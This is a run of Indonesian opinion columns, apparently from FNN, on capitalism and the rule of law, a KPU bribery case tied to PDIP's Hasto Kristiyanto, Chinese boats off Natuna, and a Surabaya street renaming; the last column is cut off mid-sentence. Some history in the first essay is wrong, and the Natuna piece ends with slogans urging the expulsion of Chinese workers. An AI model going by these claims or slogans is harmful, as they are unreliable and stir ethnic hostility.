By Dr. Margarito Kamis Jakarta, FNN - Kapitalis disepanjang rute sejarah konstitusionalisme dan demokrasi, teridentifikasi sebagai pioneer. Mereka teridentifikasi oleh sejarah sebagai pencipta “rule of law”. Ciptaan mereka, dalam kasus Inggris, diawali dengan “Magna Charta 1215”. Disusul secara bergelombang dengan penciptaan parlemen dua kamar. Dari sebelumnya hanya satu kamar, unicameral. Peristiwa ini terjadi pada tahun 1365 di Inggris. Mereka juga menjadi penyebab terbesar lahirnya konsep “habes corpus” pada tahun 1679. Sembilan tahun sebelum revolusi besar tahun 1688. Disusul sesudah itu dengan Petition of Right 1689, dan Parliamentary Act 1702 jauh setelah itu. Semuanya menyusul kemudian terhubung dengan mereka. Rule of law, menempatkan hukum pada posisi tertinggi. Pada semua aspek sekecil apapun dalam kehidupan bernegara. Ini berkah dagang terbesar. Bagi kapitalis, inilah cara mereka lakukan untuk bisa merasuk masuk ke sumber ekonomi. Caranya kuasai dan atur hukum. Dalam kasus Inggris tahun 1732, dibuktikan dengan dibuat Sumptuary Act. Dengan undang-undang ini, kapitalis Sutra Persia, pelopor Sumptuary Act, memonopoli produksi dan distribusi dari Sutra Persia. Akibatnya? Kapitalis katun India terpukul, dan hilang secara perlahan-lahan. Dalam kasus mutakhir setelah Patriot Act 2003, yang mengotorisasi Amerika untuk menemukan dan menghabisi teroris dimanapun. Mereka bebas memasuki Irak. Saddam Husen, presiden Irak, teman Amerika pada tahun-tahun sebelumnya, akhirnya menemui nasib sebagai sponsor terorisme. Dalam status itu, Saddam dihabisi. Infrastruktur berantakan total. Segera setelah prorak-poranda, Haliburton sebuah korporasi konstruksi menemukan mimpi tipikalnya. Makes a Killing on Iraq War, artikel Pratap Chartterjee, yang dipublikasikan oleh Special to Corpwacth 20 Maret 2003 menyajikan kenyataan yang kandungan kolutifnya menggunung. As the first bombs rain down on Bagdad, tulis Charttejee, corpwacht menemukan seratus pekerja Haliburton di Irak. Haliburton diketahui menempatkan mantan Menteri Pertahanan Amerika Dick Cenney sebagai chief excecutive-nya. Dalam artikel itu juga, Chatterjee menulis tentang saat ini Dick Cheney menerima upeti miliyaran dollar setiap tahun dari Haliburton. Upah ini sebagai bentuk terima kasih kepada Dick Chenney. Kerena berkat bantuan dari Dick Chenney, gedung putih memenangkan kontrak besar untuk Haliburton. Soal terakhir ini, tulis Chatejjee disangkal oleh juru bicara Cheney. Itu satu soal. Namun persoalan lain yang menggoda untuk meyakini pernyataan kongklusif Chartterjee adalah Haliburton tidak sendirian. Chartterjee menunjuk pada 2001 Kellog. Brown and Root menjadi sub-kontraktor dari Haliburton dengan durasi tertentu. Mereka mengerjakan apa yang dikenal dengan Logistic Civil Augmentation Program (LOGCAP) dari Pentagon. Betchel, korporasi konstruksi asal California berada disisi lain pembangunan kembali Irak. George Schultz mantan menteri luar negeri Amerika dalam pemerintahan Ronald Reagen, adalah salah satu anggota Dewan Direksi. Sementara itu Riley Betchtel, CEO-nya diangkat oleh Presiden Bush Jr sebagai penasihatnya di bidang perdagangan internasional. Kolusi tersistem terlihat cukup meyakinkan. Donald Rumsfeld menjabat sebagai menteri pertahanan pada pemerintahan Bush. Sayangnya, Corpwachi teridentifikasi pernah ditugaskan oleh Schultz selagi Schultz menjadi Men Menteri Luar Negeri Amerika. Ia ditugaskan sebagai special envoy-nya di Irak. Apa yang dikerjakan Rumsfeld di Irak dalam statusnya sebagai special envoy? Rumsfeld ditugaskan Schultz mendapatkan dukungan Saddam Husen kepada Bechtel mengerjakan pipa minyak dari Irak ke Yordania. Sisi kolutif lainnya, Riley Bechtel, mantan CEO Bechtel Corp, yang kini telah menjadi penasihat Bush, segera bertemu Terry Valenzano, pejabat Pentagon. Petemuan direncnakan, dan berlangsung di Kuwait City. Hasilnya? Bechtel muncul sebagai kontraktor sejumlah proyek raksasa di Irak. Kontrak dengan nilai yang sangat pantastis, yaitu sebesar U$ 680 billion dollars untuk jangka waktu delapan belas bulan. Tabiat penggunaan kedudukan official, alam karakter kolutif, untuk kepentingan pribadi kini terlihat lagi. Dalam perdebatan Komite Inteljen Kongres pada kasus penyelidikan pemakzulan terhadap Presiden Trumph, muncul tabiat kolutif itu. Dalam penyelidikan ini, Trumph ditemukan meminta dengan nada menekan, mengarahkan Presiden Ukraina menyelidiki Joe Biden, mantan Wapres Obama dan calon pesaingnya pada pemilu presiden 2020 ini. Mengapa Trumph menunjuk Biden? Menurut Trumph, Biden dalam kedudukan sebagai Wapres Obama, teridentifikasi pernah menekan Jaksa Agung Ukraina menghentikan penyelidikan teradap anaknya, Hunter Biden. Itulah alasan Trump meminta Presiden Ukraina menyelidiki Biden. Sial baginya, tindakannya itu berbuah penyelidikan kongres dalam kerangka impeachment. Bagaimana dengan Indonesia yang rule of lawnya naik kelas pasca Pak Harto? Terlihat sangat mirip, bahkan sama. Tak lebih dari sekadar menghidangkan “karpet merah terang” kepara para kapitalis untuk melipatgandakan penguasaan sumberdaya ekonomi. Untuk sebagian kecil kasus, itulah yang teridentifikasi manis oleh Wahyuni Refi Setya Bekti. Dalam studi doktoral ilmu politik di FISIP Universitas Indonesia, Refi menemukan kenyataan, saya kualifikasi buruk. Terdapat kaitan politik yang kental antara kapitalis dengan politisi dalam pembentukan undang-undang. Pembentukan undang-undang, khususnya undang-undang Nomor 9 Tahun 2004 Tentang Pengelolaan Sumberdaya Air, yang diriset mengantarkan Refi pada temuan itu. Cukup mengagumkan d temuannya. Ditemukan adanya pengaruh lembaga-lembaga donor dalam pembentukan undang-undang itu. Mereka berhasil memaksa negara agar membuat kebijakan yang menguntungkan mereka. Paling kurang harus menurut kepentingan mereka (Republika.co.id, 9/1/2020). Studinya memperlihatkan pembahasan atas undang-undang ini tidak mendapat perhatian memadai dari kekuatan politik non DPR dan partai politik. Juga pembahasannya cukup cepat. Perihal pembahasan yang cukup tersebut cepat, juga terjadi pada pembentukan undang-undang Nomor 30 Tahun 2004 Tentang Kepailitan dan Penundaan Kewajiban Membayar Utang. Ini dinyatakan Hamdan Zoelva, mantan Wakil Ketua Komisi II DPR periode 1999-2004. Dalam keterangannya disidang pengujian konstitusi UU ini, Hamdan menerangkan betapa cepatnya pembahasan undang-undang ini. Hamdan juga menerangkan bahwa undang-undang ini tidak merumuskan ketentuan tentang berapa jumlah utang yang dapat dijadikan alasan untuk meminta sebuah korporasi dipailitkan (Detikcom, 14/2/2005). Durasi pembahasannya adalah satu tipikal, bukan satu-satunya. Tipikal lainnya adalah karakter norma. Undang-undang Nomor 21 Tahun 2001 Tentan Migas, undang-undang Ketenagalistrikan, undang-undang tentang Pengelolaan Pesisir dan Pulau-Pulau Kecil. Sekadar sebagai ilustrasi bahwa undang-undang yang disebutkan tersebut, bersifat sangat kapitalistik dan liberalis. Tipikalnya adalah “memberi hak” untuk mendapatkan sumberdaya itu. Sifat itu terbaca pada pertimbangan Mahkamah Konstitusi pada putusan-putusannya tentang undang-undang itu. Teknis “norma kapitalistik” teridentifikasi melalui rumusan pasal yang berbunyi, misalnya “Pemerintah dapat mengikutsertakan pihak swata dalam …….. Atau pemerintah dapat mengikutsertakan pihak lain………” Tidak akan ditemukan norma yang tegas-tegas. Tidak ditemukan misalnya “swasta berhak mengerjakan……” Itu tidak ada. Sama sekali tidak. Norma jenis itu terlalu konyol. Itu cara berpikir yang konyol. Begitulah cerdasnya kapitalis “menciptakan pintu masuk” ke penguasaan sumberdaya ekonomi. Agar bisa mengecoh, maka harus dipastikan pemerintah tetap memegang kekuasaan. Bukan dengan melepaskan semuanya kepada pihak kapitalis. Untuk itu, rumusan norma harus seperti contoh sederhana di atas. Otang tolol dan konyol akan segera menyatakan bahwa Pemerintah, dengan rumusan seperti itu tetap sebagai pemegang kekuasaan. Padahal justru rumusan itu memberi kewenangan pemerintah memanggil kapitalis masuk. Secara hipotetik beralasan diproyeksikan norma “kapitaklistik dan liberalistik” akan muncul pada undang-undang Ibu kota baru di Kalimantan Timur. Undang-undang ini sedang disiapkan. Dimana letak beralasannya? Pembangunan itu membutuhkan biaya besar 466 triliun rupiah. Rinciannya kurang lebih sebagai berikut; APBN sebesar 19,2 % setara dengan 89,472 triliun rupiah, Swasta sebesar 26,2% setara dengan 122,092 triliun, dan Kerjasama Pemerintah dan Badan Usaha sebesar 54,6% setara dengan 254, 436 triliun rupiah (CNBCIndonesia, 27/8/2019). Kapitalis, pada waktunya menjadi kantong terakhir uang itu. Pesta kapitalis dengan uang itu sempurna bersamaan dengan selesainya undang-undang, yang diisitilahkan secara teoritik “omnibus law”. Tipikal undang-undangh ini adalah materi muatannya meliputi berbagai sektor dan berbagai isu yang sifat dasarnya secara konseptual saling berkaitan. Undang-undang ini akan dibungkus dengan argumen teknokratis, “memperlancar investasi.” Pasti sangat merdu, manis dan indah kedengarnya. Begitulah cara menghilangkan bau keterlibatan kapitalistik dalam pembuatan undang-undang. Itu sialnya. Untungnya? Saya tidak tahu. Agar sukses terus mendekat, maka pola canggih amodel Amerika harus dipanggil. Apa saja polanya? Warga negara dan kehidupan masyarakat yang telah terhimpit padatnya jalanan kehidupan, harus terus dikurung di dalamnya. Harus selalu muncul isu baru, yang memanggil secepat mungkin kontroversi. Satu demi satu isu kontroversial baru diproduksi. Harus disajikan dari minggu ke minggu. Begitu seterusnya. Kapitalis terus menggunung, dan rakyat kebanyakan terus terhimpit di dalamnya. Lalu datanglah deskripsi hebat kapitalis mencapai puncak itu karena mereka rajin, kreatif dan sejenisnya. Sementara orang kebanyakan kelewat malas, dan terlalu banyak bicara hal-hal non ekonomi. Padahal orang malas masih kerja mendorong gerobak jualan nasi goreng disaat kapitalis rajin telah tertidur pulas. Begitulah cara rule of law mendistribusikan keadilan. Begitulah kesengsaraan dan nestapa orang kebanyakan dibuat biasa dibawah sinar rule of law. Kapitalis-kapitalis ini, konyolnya lagi, teridentifikasi sebagai orang-orang yang rajin. Orang miskin justru sebaliknya, teridentifikasi sepenuhnya sebagai orang yang malas. Bukan miskin karena kebijakan kapitalistik, yang selalu dalam semua level dan aspek bersifat diskriminatif. Konyol memang. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate.

Hasto Khianati Mega!

Oleh Mochamad Toha Jakarta, FNN - “Jangan sekali-kali punggungi rakyat, jangan itung untung rugi bagi kerja politik, jangan mencari keuntungan pribadi atau kelompok dari tugas ideologis ini,” tegas Ketum PDIP Megawati Soekarnoputri, Jum’at (10/1/2020). Dalam pidato politiknya di Rakernas dan HUT ke-47 PDIP di JIExpo, Kemayoran, Jakarta Pusat, itu, Mega mengingatkan kader partainya agar tak mengambil keuntungan pribadi atau kelompok dalam menjalankan tugas sebagai politikus. Dia meminta kader PDIP bekerja sungguh-sungguh untuk bangsa dan negara. “Kader-kader PDI Perjuangan di seluruh tanah air penuhi jiwa ragamu dengan semangat mewujudkan cita-cita rakyat tersebut,” tegasnya dengan berapi-api. Mega mengatakan, pernyataan untuk tak mengambil keuntungan pribadi tersebut merupakan instruksinya kepada seluruh kader PDIP. Jika ada yang melanggar, dia menegaskan tak akan melindungi. “Dengar, pidato politik ini adalah instruksi langsung dari ketua umum bagi seluruh kader PDI Perjuangan. Saya tidak akan lindungi kader yang tidak taat instruksi partai,” tegas Mega lagi. Mega pun mengatakan akan 'menggebrak' kader agar sadar akan tugas partai. Dia kemudian mempersilakan kader yang tak siap untuk menjalankan instruksinya keluar dari PDIP. “Saya akan menggebrak kalian-kalian seperti biasanya, berkali-kali agar sadar terhadap tugas ideologis partai. Jika tidak siap, silakan kalian pergi dari PDI Perjuangan,” ujar Mega. “Siap atau tidak?”tanya Mega kepada seluruh kader yang hadir. “Siap!” jawab seluruh kader dengan suara lantang dan kompak. Pernyataan keras Mega ini tentu menjadi pertanyaan. Benarkah ini memang untuk seluruh kader partai? Atau diarahin pada seseorang atau sekelompok kader PDIP? Ada dua kalimat Mega yang secara tegas bisa menggambarkan bahwa terdapat kader partai yang tidak taat instruksi. Yakni: “Saya tidak akan lindungi kader yang tidak taat instruksi partai” dan “Jika kalian tidak siap, silakan kalian pergi dari PDIP!” Coba simak skandal suap Komisioner KPU Wahyu Setiawan yang ditangkap KPK karena terima suap yang diduga melibatkan Sekjen PDIP Hasto Kristiyanto dan caleg PDIP terkait PAW untuk Nazaruddin Kiemas yang meninggal dunia itu. Wahyu tertangkap basah dalam OTT KPK pada Rabu, 8 Januari 2019. Menurut KPK, Wahyu menerima uang sogok Rp 850 juta. Bahkan, ada yang memberitakan Rp 900 juta yang dimintanya dari Harun Masiku, caleg PDIP dari Dapil 1 Sumatera Selatan. Harun sedang mengusahakan agar dia yang duduk sebagai anggota DPR RI PAW Nazaruddin yang meninggal dunia. Nazaruddin terpilih dari Dapil 1 Sumatera Selatan di pileg 2019. Pada 31 Agustus 2019, KPU menetapkan Riezky Aprilia yang berhak menjadi PAW. Sesuai dengan perolehan suara, Riezky-lah yang berhak menggantikan Nazaruddin itu. Harun mencoba hendak menggeser Riezky. Harun diduga yang telah memberikan uang pada Wahyu agar bisa membantunya menjadi anggota legislatif melalui PAW. Sayangnya, hingga tulisan ini dibuat, KPK belum berhasil memintai keterangan dari Sekjen PDIP Hasto Kristiyanto. Hasto patut dimintai keterangan karena, Saeful Bahri yang mengaku sebagai orang kepercaannya, menyebut uang suap itu berasal dari Hasto. Komisioner KPK Lili Pintauli Siregar mengatakan, selain Wahyu, KPK telah menetapkan Agustiani Tio Fridelina, orang kepercayaan Wahyu, mantan anggota Bawaslu. Kemudian, politikus PDI-P Harun Masiku dan seorang pihak swasta bernama Saeful Bahri. Dua nama terakhir disebut Lili Pintauli Siregar sebagai pemberi suap. Sementara Wahyu dan Agustiani diduga sebagai penerima suap. Tersangka Harun sendiri tak terjaring dalam OTT, Rabu (8/1/2020) lalu dan saat ini masih belum diketahui keberadaannya. Harun Masiku adalah caleg PDIP yang menempati urutan keenam dalam perolehan suara. Meski urutan keenam, justru Harun yang dimajukan PDIP untuk menggantikan Nazaruddin yang meninggal sebelum Pileg 2019 digelar. Sedangkan posisi kedua hingga kelima ditempati Riezky Aprilia (nomor urut 3), Darmadi Jufri (nomor urut 2), Doddy Julianto Siahaan (nomor urut 5), dan Diah Okta Sari (nomor urut 4). Meski meninggal, Nazaruddin memperoleh suara terbanyak. Hasto Kristiyanto saat dikonfirmasi, Kamis (9/1/2020), mengatakan, “Dia (Harun Masiku) sosok yang bersih. Kemudian, di dalam upaya pembinaan hukum selama ini cukup baik ya track record-nya,” kata Hasto. Ironis! Sosok bersih koq nyuap? Berdasarkan putusan MA Nomor 57 P/HUM/2019, partainya memiliki kewenangan dalam menentukan pengganti anggota legislatif terpilih yang meninggal dunia. Hasto menegaskan, dalam merekomendasikan nama Harun, PDIP pun berpegang pada aturan tersebut. “Proses penggantian itu kan ada putusan dari Mahkamah Agung. Ketika seorang caleg meninggal dunia, karena peserta pemilu adalah partai politik, maka putusan Mahkamah Agung menyerahkan hal tersebut (pengganti) kepada partai,” lanjut Hasto. Meski demikian, pada akhirnya KPU menetapkan Riezky Aprilia menggantikan Nazarudin untuk duduk di kursi Senayan, karena memperoleh suara terbanyak kedua. Riezky Aprilia sendiri mengaku tak tahu rencana PAW Harun Masiku. DPP PDIP sejak awal menerbitkan surat kepada KPU dan menyodorkan Harun Masiku untuk dilantik dengan alasan kader partai asli dan Riezky Aprilia dianggap bikan kader asli karena pencalonannya semata sebagai anak Bupati Linggau. KPU menolak Harun dan melantik Rizky. Nampaknya Harun berbekal rekomendasi DPP PDIP itu tetap berjuang untuk bisa dilantik menjadi anggota DPR menggantikan Rizky dengan cara melobi komisioner Komisioner KPU Wahyu Setiawan. Wahyu pun pada akhirnya terkena OTT KPK dengan barang bukti uang suap Rp 400 juta. Harun Masiku bernasib apes, perjuangan untuk dilantik jadi DPR malah berujung penjara kena OTT KPK. Apalagi, Ketua KPU Arief Budiman menyebut ada tanda tangan Ketum PDIP Megawati Soekarnoputri dan Sekjen PDIP Hasto Kristiyanto dalam surat permohonan PAW Harun Nasiku untuk menggantikan caleg terpilih yang meninggal dunia, Nazarudin Kiemas. Tiga surat dari DPP PDIP yang ditujukan kepada pihaknya dibubuhi tanda tangan Hasto Kristiyanto. Hal itu diungkapkan Arief dalam konferensi pers di Kantor KPU, Menteng, Jakarta Pusat, Jumat (10/1/2020). “Kalau surat pertama soal permohonan pelaksanaan putusan MA ditandatangani oleh Ketua Bapilu, Bambang Wuryanto dan Sekjen Hasto Kristiyanto,” ujar Arief, seperti dilansir Kompas.com, Jum’at (10/1/2020). Kemudian, dalam surat kedua yang merupakan tembusan perihal permohonan fatwa terhadap putusan MA Nomor 57.P/KUM/2019 tertanggal 19 Juli 2019 ditandatangani Ketua DPP Yasonna Hamonangan Laoly dan Sekjen Hasto Kristiyanto. Surat ketiga, tertanggal 6 Desember 2019 ditandatangani oleh Ketum DPP PDIP Megawati Soekarnoputri dan Sekjen Hasto Kristiyanto. Sebelumnya, Arief mengungkapkan adanya tiga surat yang dikirimkan PDIP terkait permohonan Harun sebagai PAW untuk Nazarudin. “Jadi KPU menerima surat dari DPPP sebanyak tiga kali. Surat pertama, terkait putusan atau permohonan pelaksanaan putusan MA, (surat ini) tertanggal 26 Agustus 2019,” ujar Arief saat jumpa pers di Kantor KPU, Menteng, Jakarta Pusat, Jumat (10/1/2020). Putusan MA tersebut, kata Arief, berdasarkan pengajuan uji materi yang diajukan (PDIP pada 24 Juni 2019). Hasto mengakui, PDIP merekomendasikan Harun Masiku gantikan Nazarudin. Putusan atas uji materi ini dikeluarkan pada 18 Juli 2019. “Jadi prosesnya (uji materi) tidak sampai satu bulan ya,” lanjut Arief. Menurut Arief, atas surat pertama ini, KPU sudah menjawab dengan menyatakan tak dapat menjalankan putusan MA itu. “Kedua, kami menerima surat tembusan dari DPP PDIP yang meminta fatwa terhadap MA. Itu permintaan ditembuskan kepada KPU tertanggal 13 September 2019 dan disampaikan ke kita pada 27 September 2019,” jelas Arief. Tapi, karena surat itu berupa tembusan, KPU memutuskan tak membalas surat itu. Kemudian MA mengeluarkan surat atau fatwa tertanggal 23 September 2019. “Nah berdasarkan surat atau fatwa MA ini, DPP PDI Perjuangan mengirimkan permohonan lagi kepada KPU dengan surat tertanggal 6 Desember 2019 yang diterima oleh KPU pada 18 Desember 2019,” ungkap Arief. Surat inilah yang disebut KPU sebagai surat ketiga dari DPP PDIP. Karena surat ketiga ditujukan ke KPU, maka KPU menjawab pada 7 Januari 2020. “Yang isinya (surat balasan) kurang lebih sama dengan balasan untuk surat pertama,” tegas Arief. Lebih lanjut Arief mengungkapkan bahwa ada satu proses lagi terkait penetapan perolehan suara di daerah pemilihan Sumatera Selatan I ini. Proses itu terjadi saat dilakukan rekapitulasi hasil Pemilu 2019 di KPU RI. “Jadi, ada pengajuan keberatan. Sudah dibahas dan sudah diterima. Termasuk pada saat pembahasan itu kita sampaikan penjelasan yang sudah kita sampaikan lewat surat (dua surat jawaban KPU),” ungkap Arief. “Surat itu kita bacakan lagi lewat momentum itu. Jadi penjelasan kita (atas permohonan PDIP itu) sudah dua kali lewat surat, dan satu kali pada saat rekapitulasi nasional,” tambah Arief. Jika melihat demikian faktanya, ditambah lagi dengan ditetapkannya Wahyu Setiawan dan Saeful Bahri sebagai tersangka oleh KPK, seharusnya Hasto Kristiyanto juga perlu dimintai keterangannya. Kalau dia menghindar, dugaan keterlibatannya semakin jelas. Apalagi, jika kemudian diketahui bahwa Mega tak tahu-menahu soal perilaku korup kadernya ini. Berarti, Hasto telah khianati Mega! Penulis adalah Wartawan Senior

Bodohkah China ?

Semuanya bisa serba mungkin terjadi. Tentu saja sebagai "sahabat", China dipastikan ingin merangkul atau dirangkul dengan rangkulan yang lebih erat lagi. Disinilah permainan China yang sangat berbahaya. Oleh karenanya, dari peristiwa Natuna ini, membuat kita mestinya semakin waspadai ke depan. Kejadian ini jangan dianggap sebagai hal yang biasa-biasa saja. By M. Rizal Fadillah Jakarta, FNN - Aneh memang tidak ada angin tidak ada badai. Tiba-tiba saja nelayan-nelayan yang dikawal Coast Guard China. Mereka berada di Zona Ekonomi Ekslusif (ZEE) perairan Kepulauan Natuna yang sudah dinyatakan PBB sejak tahun 1982 adalah perairan ZEE milik Indonesia. Dengan demikian, kak untuk menangkap ikan hanya boleh dilakukan oleh nelayan Indonesia. Namun China menampilkan sikap yang ngotot. Seolah-oleh memaksakan diri untuk menguasai perairan di Kepulauan Natuna tersebut. Pertanyaannya, China hanya mau menggertak atau memang serius mengklaim sebagai pemilik Kepulauan Natuna? Para Menteri di Pemerintahan Jokowi punya sikap yang beragam. Menteri Luar Negeri Retno Marsudi misalnya, bersikap agak keras. Sementara Menteri Pertahanan Prabowo Subianto bersikap agak melunak. Begitu pula dengan Menko Kemaritiman dan Investasi Luhut Binsar Panjaitan yang sangat melunak. Namun demikian, dalam beberapa hari belakangan ini, tiba-tiba saja Menko Polhukam Mahfud MD bersuara agak keras. Presiden Jokowi juga tidak mau tinggal diam. Presiden juga bersuara keras. Suara Presiden tidak berbeda dengan kerasnya protes dari Menteri Mahfud MD dan Reno Marsudi. Pernyataan keras Presiden menggambarkan sepertinya sangat siap untuk membela kedaulatan negara. Biasanya kalau sudah ada sinyal yang seperti begini, tidak lama kemudian para nelayan China akan segera pergi. Nelayan China menghilang dulu dari luatan di sekitaran Kepulaun Natuna. Selesaikah manuverya para nelayan Cihna untuk kembali mencuri ikan di perairan Kepulauan Natuna? Bisa iya, bisa juga tidak. Namun adakah kesepakatan diam-diam ? Atau memang RRC mulai ketakutan pada sikap para pemimpin Indonesia yang memang "gagah berani" ? Lalu apa makna manuver China yang jika dipandang sekilas memang seperti kebodohan. Pertama, UNCLOS PBB telah menyatakan ZEE Kepulauan Natuna adalah milik Indonesia. Kedua, hubungan Indonesia dengan RRC sedang mesra dalam kerjasama hutang dan investasi. Ketiga, patut diduga Amerika dan sekutunya tidak akan membiarkan China menguasai perairan berdasarkan klaim sepihak terseblut. Jadi apa arti semua ini ? Muncul analisis yang serba mungkin. Kemungkinan pertama, pasti China tidak bodoh. Sebaliknya, China justru sedang melakukan tekanan dan perundingan diam diam dengan meminta konsesi yang lebih dari Indonesia. Untuk hal yang seperti ini China sangat lihai. Kemungkinan kedua, China sedang menguji kesetiaan Pemerintah Indonesia. Masihkah bisa menyebut "negara sahabat". Ketika dana besar yang digelontorkan berhadapan dengan masalah "kecil" nelayan. Hutang dan investasi adalah alat uji atas cengkeraman China di Indonesia. Kemungkinan ketiga, aksi solidaritas Uighur yang terjadi di Indonesia telah mengganggu kebijakan dalam negeri China. Untuk itu, China perlu memberi ancaman kepada negara yang "ikut campur" urusan dalam negeri China. Bagi China, Uighur adalah masalah yang tak bisa diganggu-gugat oleh negara lain. Kemungkinan keempat, Pemerintah Indonesia dianggap serakah. Indonesia "main dua kaki" karena mencoba mencari hutang dan investasi signifikan ke blok Amerika yang membuat gusar China. Kemungkinan kelima, China memenuhi permintaan tersembunyi Pemerintah Indonesia untuk mengalihkan perhatian dari mega skandal seperti kasus BPJS, Jiwasraya dan kebangkrutan beberapa BUMN. Kemungkinan keenam, sinyal kekuatan perlindungan bagi warga China diaspora yang mulai gelisah akibat reaksi atas kasus Uighur, kesenjanganyun sosial, serta gangguan investasi. Kemungkinan ketujuh, membantu Presiden Jokowi dalam mendongkrak legitimasi dan kewibawaannya. Seolah-oleh hanya dengan "teriakan Presiden" lah yang mampu mengusir nelayan China beserta kapol pengawal Coast Guardnya keluar dari perairan Natuna. Semuanya bisa serba mungkin terjadi. Tentu saja sebagai "sahabat", China dipastikan ingin merangkul atau dirangkul dengan rangkulan yang lebih erat lagi. Disinilah permainan China yang sangat berbahaya. Oleh karenanya, dari peristiwa Natuna ini, membuat kita mestinya semakin waspadai ke depan. Kejadian ini jangan dianggap sebagai hal yang biasa-biasa saja. Sudah waktunya rakyat Indonesia harus berteriak "perglah wahai China bersama uang hutangmu..!" atau "Usir tenaga kerja China dari Indonesia.!" atau "Tenggelamkan pejabat boneka China di Indonesia..!". Indonesia adalah negara merdeka dan berdaulat. *Penulis adalah Pemerhati Politik

Putra Bung Tomo: Pemkot Surabaya Keterlaluan!

Oleh Mochamad Toha Jakarta, FNN - Pernyataan DR. Bambang Sulistomo itu disampaikan terkait dengan perubahan nama Jalan Bung Tomo di kawasan Ngagel Surabaya menjadi Jalan Kencana. Menurut putra Pahlawan Nasional Bung Tomo ini, “Yang keterlaluan itu Pemkot Surabaya!” Hasil hearing dengan Komisi-D DPRD Kota Surabaya, kata Mas Bambang, mereka berjanji menyampaikan dan memperjuangkan aspirasi masyarakat untuk mempertahankan nama Jalan Bung Tomo tersebut tetap di area Ngagel, Kota Surabaya. “Sementara itu pihak Pemkot Surabaya bersikukuh untuk mengganti nama jalan itu dengan nama Kencana,” ungkap Mas Bambang kepada Pepnews.com. Setelah ditelisik, Kencana itu adalah nama pemilik Marvell City, sebuah apartemen dan mal. “Entah ada komitmen apa di belakang perubahan nama jalan itu,” sindir Mas Bambang yang juga Ketum DPP Ikatan Pendukung Kemerdekaan Indonesia (IP-KI) ini dengan nada tinggi. Akankah nilai kepahlawanan Bung Tomo harus kalah kedua kalinya. Setelah Rumah Radio Bung Tomo lenyap digusur investor Jayanata, dan kini nama jalan di makam Bung Tomo itu harus hilang pula digusur investor Marvell City? “Hanya Tuhan yang tahu, dan kewajiban kami adalah mempertahankan sebisa kami,” tegasnya. Perjuangan ini tidak lah mudah, karena nama Kencana adalah nama pemilik Marvell City, sebuah kawasan apartement dan mall yang berada di ujung jalan. “Dia itu investor kelas multinasional,” ungkap Mas Bambang. Pada pertengahan 2019 lalu dikabarkan, ada perubahan nama jalan lagi. Tiga jalan yang baru dibangun bakal diberi nama. Nama lima jalan lama bakal diganti. Mantan Ketua Pansus Perda Penamaan Jalan DPRD Kota Surabaya Khusnul Khotimah juga mengharapkan pemkot menyiapkan perubahan itu secara matang. Tujuannya, agar tak terjadi polemik seperti tahun sebelumnya. Sebagian ruas Jalan Gunungsari diubah jadi Jalan Prabu Siliwangi. Jalan Dinoyo diganti jadi Jalan Sunda. Akibatnya, perubahan ini memicu polemik berkepanjangan. Terutama dengan Paguyuban TRIP Jatim yang menilai dua ruas jalan itu bersejarah. ”Pikirkan juga masyarakat yang terkena dampak perubahan. Agar niat baik tidak merugikan warga,” kata Khusnul. Untuk masyarakat yang terkena dampak perubahan nama jalan harus mengganti identitasnya. Bukan hanya KTP, melainkan juga SIM, STNK, BPJS, rekening bank, dan lain-lain. Untuk perubahan nama jalan, kali ini dewan tak akan dilibatkan. Sebab dalam perda yang baru ini, kepala daerah berhak mengubah nama jalan. ”Kecuali jalan utama atau arteri. Itu harus melalui persetujuan dewan,” kata politikus PDIP itu. Pemkot memberi nama Jalan Lingkar Luar Barat (JLLB) dengan Jalan Dr Muhammad Hatta. Jalan di sebelah timur Darmo Park bakal diberi nama Jalan Dr KH Idham Khalid. Jalan baru sebelah timur dekat Stadion Bung Tomo bakal diberi nama Jalan Bung Tomo. Keputusan itu membuat nama Jalan Bung Tomo di Ngagel diubah lagi jadi Jalan Kencana. Selain itu, Jalan Singapore bakal jadi Jalan Abdul Wahab. Jalan Menganti bakal diganti menjadi Jalan Komjen Pol M. Jasin. Jalan di segi delapan Puncak Permai juga akan dinamai dengan nama pahlawan: Jalan Pangeran Antasari, Hasanuddin, dan Cut Nyak Dhien. Melansir Kompas.com, Jum’at (19/07/2019, 07:01 WIB), Walikota Surabaya Tri Rismaharini berencana mengubah nama Jalan Bung Tomo yang selama ini berada di kawasan Ngagel dan berdekatan dengan makam Bung Tomo. Jalan Bung Tomo itu nantinya akan dipindahkan di Kecamatan Benowo, tepatnya di jalan baru yang dibangun Dinas Pekerjaan Umum Bina Marga dan Pematusan (DPUBMP). Jalan baru tersebut merupakan proyek Jalur Lingkar Luar Barat (JLLB). “Saya mau Jalan Bung Tomo itu dipindah karena yang sekarang jaraknya terlalu pendek. Saya usulkan itu (Jalan Bung Tomo) ada di Stadion Gelora Bung Tomo (GBT),” kata Risma, Kamis (18/7/2019). Jalan Bung Tomo yang di kawasan Ngagel Surabaya akan diganti nama atau dikembalikan jadi Jalan Kencana. “Karena Jalan Bung Tomo yang sekarang panjangnya enggak sampai 1 km. Kalau digunakan nama jalan di Stadion GBT, panjang,” lanjutnya. “Sekarang jalannya dibangun,” ujar Risma. Ia mengakui mendapat banyak penolakan, mulai dari anggota legislatif hingga pemerhati sejarah. Apalagi, Jalan Bung Tomo itu sudah sesuai berada di kawasan Ngagel yang jaraknya juga sangat berdekatan dengan pusara Bung Tomo. Namun, Risma tidak bergeming meski menerima protes. Menurut dia, pemindahan nama Jalan Bung Tomo itu murni untuk menghormati dan menghargai jasa pahlawan. “Enggak apa-apa ditolak, saya kepingin memberikan penghormatan,” katanya. “Karena Jalan Bung Tomo itu terlalu pendek. Kami kan ingin menghargai Bung Tomo,” ujar Risma. Pemkot Surabaya memang berencana mengganti beberapa nama jalan di beberapa titik. Hal itu tertuang dalam surat edaran bernomor 020/10946/436.75/2019 yang diedarkan Dinas Perumahan Rakyat dan Kawasan Permukiman Cipta Karya dan Tata Ruang Kota Surabaya. DPRD Kota Surabaya sendiri sebelumnya juga menolak rencana Pemkot Surabaya melukir sejumlah nama jalan di Kota Pahlawan ini. Seperti dilansir SURYA.co.id, Senin (15 Juli 2019 21:43), Ketua DPRD Kota Surabaya Armuji bahkan turun ke lapangan. Terutama nama Jl Bung Tomo yang ada di kawasan Ngagel (tengah kota) yang akan dilukir ke pinggiran kota di kawasan Benowo, ujung barat Kota Surabaya. “Sebaiknya kita hargai dan tempatkan nama besar Bung Tomo secara terhormat. Masak nama Jalan Bung Tomo dipindah di (kawasan) tambak,” katanya saat meninjau Jalan Bung Tomo, Senin (15/7/2019). Politisi PDIP yang akrab dipanggil Armuji itu, 